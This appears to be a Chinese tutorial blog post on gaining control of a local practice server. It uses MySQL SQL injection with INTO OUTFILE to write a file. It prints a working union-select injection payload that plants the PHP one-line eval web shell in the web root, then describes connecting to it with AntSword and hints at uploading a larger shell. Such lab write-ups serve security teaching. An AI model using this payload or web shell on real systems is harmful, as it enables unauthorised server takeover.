SQL注入——文件上传

目录

一,mysql文件上传要点

二,文件上传指令

一句话木马

三,实例

1,判断注入方式 

2,测试目标网站的闭合方式:

3,写入一句话木马

4,拿到控制权 


一,mysql文件上传要点

1,show variables like '%secure%';用来查看mysql是否有读写文件的权限

2,数据库的file权限规定了数据库用户是否有权限,向操作系统内写入和读取已存在的权限

3,into outfile命令使用的环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径

二,文件上传指令

其实我们最终的目的是往目标靶场上上传一句话木马,或者是自己想上传的php文件。

文件上传的用法:

(1)直接可以写在网站的目录下面,然后可以当做一句话木马直接去连接

(2)发现目标网站有文件包含,同时数据库又具备写入一句话木马的权限进行利用

一句话木马

?id=-1')) union select 1,2,"<?php @eval($_POST['hyc']); ?>" into outfile "D:\\phpstudy_pro\\WWW\\hyc.php" --+

<?php @eval($_POST['password']);?>:一句话木马

password是预留密码,这里给的密码是hyc

D:\\phpstudy_pro\\WWW\\是文件路径

hyc.php是新插入的文件名

三,实例

1,判断注入方式 

 当我们向里面传值的时候,会提示...outfile,说明可用文件上传注入

2,测试目标网站的闭合方式:

但是报错内容没有显示是哪里报错

于是我们使用--+看一下到底是不是’为闭合方式,如下图报错不变,所以闭合方式不是’

于是我们将进行更详细的测试:

当我们试到'))时,可以正常显示

当然在试的过程中可能会出现一些碰巧的情况,比如用”试得到的是一样的结果。

是因为正确答案'))的闭合方式使”无效

怎么解决呢?

我们可以用and 1=1和and 1=2来测试

双引号测试:

 两种结果一样,说明”不是正确的结果。

单引号和双括号测试:

 

两种结果不一样,“错的就是错的“,所以我们找到了正确的闭合方式。

测试列数

3,写入一句话木马

 在目标路径下可以看到写入的木马:

打开查看里面写入的内容:

4,拿到控制权 

 用蚁剑连一下目标靶场:

拿到了电脑的使用权,注入目标达成: 

在这里也可以用whoami看到小皮的权限,我给的是普通用户的权限,不是管理员权限

 接下来可以上传大马,反弹拿web shell

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值